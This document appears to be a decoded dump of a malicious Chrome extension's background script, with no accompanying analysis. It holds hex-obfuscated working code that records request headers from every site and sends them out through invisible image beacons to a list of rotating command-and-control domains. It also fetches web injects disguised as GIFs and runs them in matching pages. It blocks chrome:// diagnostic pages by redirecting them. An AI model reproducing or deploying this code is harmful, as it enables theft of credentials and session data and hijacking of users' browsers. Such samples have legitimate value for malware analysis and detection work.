PHP Decode

MAX = 40;
BUF = new Array(MAX);
IDS = "";
HID = "NT6.1.7601-88FDB972.ENU.00371-220-8148635-06618_42E460";
VER = "32";
SLST = "bacardolepos.re#pehanyri-uro.net#ikozypybrufanav.cc#zazotohzufyze.biz#unaqjysonlaztuxe.com#fecosofcolsyb.cc#acycotyduxe.ru#ludusijido.biz#lixipyzeji.net#fovevykafpumu.ru#reqicuchydu.com#otejzacylibuwyd.cc#sodizojashabi.org#ucodyfydlaxyma.ru#sikozu-wot.ws#urohuqamiwhol.cc#lisasicory.com#nafefnikeseka.net#ciqmuspuduzno.net#cimomjusiwsot.ru#mysudezyzyn.com#atamkezi-ihyzhod.com#lydabeteziv.in";
SINT = 120000;
SRV = "";
SIND = 0;
SARR = SLST["\x73p\x6cit"]("#");
MAX_INJ = 100;
TOT_INJ = 0;
INJECT = new Array(MAX_INJ);
INJURL = new Array(MAX_INJ);

function rndStr()
{
	var c = "abcdefghiklmnopqrstuvwxyz";
	var d = "";

	for (var b = 0;b < 10;b++)
	{var a = Math["fl\x6fo\x72"](Math["\x72\x61\x6e\x64om"]() * c["le\x6e\x67\x74\x68"]);
		d += c["s\x75\x62\x73t\x72\x69n\x67"](a, a + 1);
	}

	return d;
}

function b64_en(l)
{
	var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789(/)";
	var e = "";
	var d;
	var c;
	var b;
	var k;
	var j;
	var h;
	var g;

	var f = 0;
	while (f < l["le\x6egth"])
	{
		d = l[f++];
		c = l[f++];
		b = l[f++];
		k = d >> 2;
		j = d & 3 << 4 | (c >> 4);
		h = c & 15 << 2 | (b >> 6);
		g = b & 63;

		if (isNaN(c))
		{
			h = g = 64;
		}
		else 
		{
			if (isNaN(b))
			{
				g = 64;
			}
		}

		e = e + a["ch\x61\x72A\x74"](k) + a["\x63h\x61\x72A\x74"](j) + a["c\x68arA\x74"](h) + a["\x63ha\x72At"](g);
	}

	return e;
}

function b64crypt(c)
{
	var a = new Array(c["l\x65\x6egth"]);

	for (var b = 0;b < c.length;b++)
	{
		a[b] = c["\x63\x68\x61rC\x6fd\x65\x41\x74"](b) + b * b;
		a[b] = a[b] % 256;
	}

	c = b64_en(a);
	delete a;
	return c;
}

function OnLoadImg(c)
{
	var a = c["t\x61r\x67et"];
	var d = a["\x67e\x74Attri\x62u\x74\x65"]("id");
	var b = d["\x73\x75bst\x72\x69\x6eg"](6);
	a["p\x61\x72e\x6et\x4e\x6fd\x65"]["\x72\x65mo\x76\x65\x43\x68\x69l\x64"](a);
	delete BUF[b];
}

function onErrAbortImg(b)
{
	var a = b["t\x61\x72\x67et"];
	a["\x70\x61\x72\x65n\x74No\x64e"]["remov\x65C\x68il\x64"](a);
}

function InsertImg(d, c)
{
	if (SRV == "")
	{
		return ;
	}

	var e = document["g\x65\x74E\x6c\x65\x6d\x65\x6e\x74B\x79I\x64"]("sdimg_" + c);

	if (e != null)
	{
		return ;
	}

	var b = "http://" + SRV + "/?h=" + HID + "&i=" + c + IDS + "&o=0&f=*&si=x&so=0&tl=" + BUF[c]["\x6cen\x67\x74\x68"] + "&v=" + VER + "&d=" + b64crypt(BUF[c]);
	var a = d["\x63\x72ea\x74eEle\x6de\x6e\x74"]("img");
	a["s\x65tAt\x74ribut\x65"]("id", "sdimg_" + c);
	a["s\x65\x74At\x74\x72i\x62\x75\x74\x65"]("border", "0");
	a["\x73\x65\x74\x41tt\x72\x69\x62u\x74\x65"]("width", "0");
	a["s\x65\x74Attri\x62\x75\x74\x65"]("height", "0");
	a["s\x65t\x41\x74\x74\x72\x69b\x75\x74\x65"]("src", b);
	d["b\x6fd\x79"]["inse\x72\x74B\x65\x66\x6f\x72\x65"](a, d["\x62\x6fd\x79"]["\x66\x69\x72s\x74\x43\x68i\x6c\x64"]);
	a["\x61dd\x45\x76\x65nt\x4c\x69\x73\x74\x65\x6e\x65r"]("load", function (f)
	{
		OnLoadImg(f);
	}, true);
	a["a\x64\x64\x45\x76\x65n\x74\x4c\x69\x73t\x65\x6eer"]("error", function (f)
	{
		onErrAbortImg(f);
	}, true);
	a["\x61\x64d\x45\x76en\x74L\x69\x73\x74ener"]("abort", function (f)
	{
		onErrAbortImg(f);
	}, true);
}

function SendData()
{
	if (SRV == "")
	{
		return ;
	}

	for (var a = 0;a < MAX;a++)
	{
		if (!BUF[a])
		{
			continue;
		}

		InsertImg(document, a);
	}
}

function Completed(b)
{
	if (b["ur\x6c"]["su\x62\x73t\x72i\x6eg"](0, 4) !== "http")
	{
		return ;
	}

	for (var a = 0;a < TOT_INJ;a++)
	{
		if (b["u\x72l"]["ma\x74c\x68"](INJURL[a]))
		{
			chrome["ta\x62\x73"]["exec\x75teS\x63\x72\x69\x70\x74"](b["\x74a\x62\x49d"], 
			{
				code : INJECT[a],
				allFrames : true
			});
		}
	}

	if (b.frameId != 0)
	{
		return ;
	}

	chrome["\x74a\x62\x73"]["ex\x65\x63u\x74eScript"](b.tabId, 
	{
		file : "rovooawrea.js",
		allFrames : true
	});
	SendData();
}

function SaveLog(b)
{
	for (var a = 0;a < MAX;a++)
	{
		if (BUF[a])
		{
			continue;
		}

		BUF[a] = b;
		InsertImg(document, a);
		return ;
	}
}

function BefSendHead(e)
{
	if (e["t\x61\x62\x49\x64"] < 0)
	{
		return ;
	}

	var c = "";

	for (var a = 0;a < e["\x72e\x71\x75est\x48\x65\x61de\x72s"]["len\x67t\x68"];a++)
	{
		if (e["re\x71\x75\x65\x73t\x48\x65ade\x72s"][a]["n\x61me"] === "Origin")
		{
			continue;
		}

		if (e["r\x65q\x75estH\x65\x61\x64er\x73"][a]["n\x61\x6de"] === "Accept")
		{
			continue;
		}

		if (e["re\x71\x75\x65stH\x65a\x64\x65rs"][a]["\x6e\x61\x6d\x65"] === "Content-Type")
		{
			continue;
		}

		if (e["\x72eque\x73\x74He\x61ders"][a]["n\x61m\x65"] === "Accept-Encoding")
		{
			continue;
		}

		c += " " + a + ":" + e["\x72\x65que\x73t\x48\x65ader\x73"][a]["\x6e\x61\x6de"] + ":" + e["r\x65q\x75\x65s\x74\x48\x65\x61d\x65rs"][a]["\x76a\x6c\x75e"];
	}

	var b = e["\x75rl"] + " #" + e["t\x79\x70e"] + "#" + e["\x6det\x68\x6fd"] + "# " + c;
	SaveLog(b);
}

function onMsg(c, b, a)
{
	SaveLog(c["\x67\x72\x65e\x74i\x6eg"]);
	a({});
}

function XHRstateChange(c)
{
	if (c["\x72\x65a\x64y\x53t\x61te"] != 4)
	{
		return ;
	}

	var b = 0;

	if (c["\x73t\x61t\x75s"] == 200)
	{
		var a = c["\x72esp\x6f\x6e\x73\x65Text"];

		if (a[42] == ";" && (a[0] == "G") && (a[1] == "I") && (a[2] == "F") && (a[3] == "8") && (a[4] == "9") && (a[5] == "a"))
		{
			b = 1;
		}
	}

	if (b == 1)
	{
		SRV = SARR[SIND];
		chrome["\x73t\x6fra\x67\x65"]["\x6co\x63a\x6c"]["s\x65t"](
		{
			SRV_SIND : SIND
		});
	}

	SIND++;

	if (SIND >= SARR["\x6c\x65n\x67th"])
	{
		SIND = 0;
	}
}

function sTimer()
{
	var a = new XMLHttpRequest();
	a["\x6fnrea\x64\x79\x73ta\x74ec\x68\x61\x6eg\x65"] = function ()
	{
		XHRstateChange(a);
	};
	a["\x6f\x70\x65\x6e"]("GET", "http://" + SARR[SIND] + "/?f=*", true);
	a["overrid\x65\x4di\x6de\x54\x79pe"]("text/plain; charset=x-user-defined");
	a["sen\x64"](null);
}

function b64v2_utf8_de(a)
{
	var b = "";
	var d = 0;
	var e = c1 = c2 = 0;
	while (d < a["\x6c\x65\x6e\x67\x74h"])
	{
		e = a["cha\x72C\x6f\x64eA\x74"](d);

		if (e < 128)
		{
			b += String["\x66ro\x6d\x43har\x43\x6fde"](e);
			d++;
		}
		else 
		{
			if (e > 191 && (e < 224))
			{
				c2 = a["c\x68ar\x43o\x64eA\x74"](d + 1);
				b += String["\x66ro\x6dC\x68\x61r\x43o\x64e"](e & 31 << 6 | (c2 & 63));
				d += 2;
			}
			else 
			{
				c2 = a["\x63\x68\x61r\x43\x6fdeAt"](d + 1);
				c3 = a["\x63\x68\x61\x72Cod\x65\x41t"](d + 2);
				b += String["\x66\x72o\x6d\x43\x68arCo\x64\x65"](e & 15 << 12 | (c2 & 63 << 6) | (c3 & 63));
				d += 3;
			}
		}
	}

	return b;
}

function b64v2_de(l)
{
	var a = "hijklmnoNOVWXYZ012wxyzABLMGHIJK3456789CDEFpqrsabcdefgtuvPQRSTU+/=";
	var e = "";
	var d;
	var c;
	var b;

	var k;
	var j;
	var h;
	var g;

	var f = 0;
	l = l["\x72\x65\x70lac\x65"](/[^A-Za-z0-9\+\/\=]/g, "");
	while (f < l["\x6c\x65\x6egth"])
	{
		k = a["i\x6edexOf"](l["\x63h\x61\x72\x41\x74"](f++));
		j = a["i\x6e\x64\x65xOf"](l["\x63\x68a\x72At"](f++));
		h = a["ind\x65\x78Of"](l["ch\x61r\x41t"](f++));
		g = a["\x69nd\x65x\x4f\x66"](l["cha\x72A\x74"](f++));
		d = k << 2 | (j >> 4);
		c = j & 15 << 4 | (h >> 2);
		b = h & 3 << 6 | g;
		e = e + String["fromCha\x72\x43\x6f\x64\x65"](d);

		if (h != 64)
		{
			e = e + String["\x66r\x6f\x6d\x43h\x61rC\x6fd\x65"](c);
		}

		if (g != 64)
		{
			e = e + String["f\x72o\x6dCha\x72\x43\x6f\x64e"](b);
		}
	}

	e = b64v2_utf8_de(e);
	return e;
}

function ParseInjects(d)
{
	var a = b64v2_de(d);
	var f = new Array();
	f = a["\x73p\x6ci\x74"]("|$");
	var c = new Array();
	var e = 1;
	TOT_INJ = f["l\x65ng\x74\x68"] - 1;

	for (e;e < f["l\x65\x6e\x67t\x68"];e++)
	{var b = f[e]["su\x62s\x74r"](0, f[e]["\x6ce\x6egth"] - 2);
		c = b["\x73p\x6ci\x74"]("|^");
		INJURL[e - 1] = c[0];
		INJECT[e - 1] = c[1]["\x72epl\x61ce"]("_HOSTID_", HID);
	}

	INJURL[e - 1] = false;
}

function iXHRstateChange(a)
{
	if (a["\x72\x65ad\x79\x53t\x61\x74\x65"] != 4)
	{
		return ;
	}

	if (a["st\x61t\x75\x73"] != 200)
	{
		return ;
	}

	var b = a["\x72espo\x6e\x73eTe\x78t"];

	if (b == null)
	{
		return ;
	}

	if (b[42] != ";" || (b[0] != "G") || (b[1] != "I") || (b[2] != "F") || (b[3] != "8") || (b[4] != "9") || (b[5] != "a"))
	{
		return ;
	}

	var d = /;(\S*)/["\x65x\x65\x63"](b);
	ParseInjects(d[1]);
	chrome["s\x74\x6frage"]["l\x6f\x63\x61l"]["\x73\x65\x74"](
	{
		INJ_BLOCK : d[1]
	});
}

function iTimer()
{
	if (SRV == "")
	{
		return ;
	}

	var a = new XMLHttpRequest();
	a["o\x6e\x72ea\x64y\x73\x74at\x65c\x68ange"] = function ()
	{
		iXHRstateChange(a);
	};
	a["\x6fp\x65\x6e"]("GET", "http://" + SRV + "/?jc=x&h=" + HID, true);
	a["\x6fve\x72ri\x64\x65\x4dimeT\x79\x70\x65"]("text/plain; charset=x-user-defined");
	a["\x73e\x6ed"](null);
}

IDS = rndStr();

function get_srv(a)
{
	if (typeof (a["\x53R\x56\x5f\x53\x49\x4e\x44"]) == "undefined")
	{
		return ;
	}

	SRV = SARR[a["SR\x56_\x53\x49\x4e\x44"]];
}

function get_inj(a)
{
	if (typeof (a["I\x4eJ\x5fB\x4c\x4fC\x4b"]) == "undefined")
	{
		return ;
	}

	ParseInjects(a["\x49NJ_BLO\x43\x4b"]);
}

chrome["st\x6f\x72\x61\x67e"]["\x6co\x63\x61l"]["g\x65\x74"]("SRV_SIND", get_srv);
chrome["s\x74\x6fr\x61\x67e"]["l\x6fc\x61\x6c"]["g\x65t"]("INJ_BLOCK", get_inj);
chrome["\x65xte\x6e\x73\x69o\x6e"]["onM\x65\x73s\x61\x67e"]["ad\x64\x4cist\x65n\x65r"](onMsg);
chrome["w\x65b\x4eavi\x67\x61t\x69\x6fn"]["o\x6eComple\x74ed"]["ad\x64\x4c\x69\x73t\x65ner"](Completed);
chrome["\x77\x65\x62Re\x71ue\x73\x74"]["o\x6e\x42ef\x6f\x72\x65Se\x6e\x64H\x65\x61d\x65\x72s"]["\x61\x64\x64L\x69\x73\x74en\x65\x72"](BefSendHead, 
{
	urls : ["http://*/*", "https://*/*"],
	types : ["xmlhttprequest"]
}, ["requestHeaders"]);
window["se\x74\x49\x6e\x74\x65rv\x61\x6c"](sTimer, SINT);
window["set\x49\x6eterv\x61\x6c"](iTimer, SINT + 1000);

function ChkTab(b, c, e, a)
{
	if (b == "chrome://" + c + "/")
	{
		chrome["tab\x73"]["\x75\x70\x64at\x65"](a, 
		{
			url : "chrome://" + e + "/"
		});
	}
}

chrome["\x74abs"]["onUpdated"]["a\x64\x64Li\x73\x74ene\x72"](function (a, b)
{
	if (b["\x73ta\x74us"] != "loading")
	{
		return ;
	}

	ChkTab(b["\x75rl"], "memory-redirect", "conflicts", a);
	ChkTab(b["u\x72l"], "view-http-cache", "predictors", a);
	ChkTab(b["\x75r\x6c"], "cache", "predictors", a);
	ChkTab(b["\x75rl"], "net-internals", "downloads", a);
	ChkTab(b["\x75\x72\x6c"], "dns", "downloads", a);
	ChkTab(b["u\x72\x6c"], "about", "chrome", a);
	ChkTab(b["\x75rl"], "inspect", "ipc", a);
	ChkTab(b["u\x72\x6c"], "tasks", "sessions", a);
	ChkTab(b["\x75r\x6c"], "chrome-urls", "chrome/history", a);
});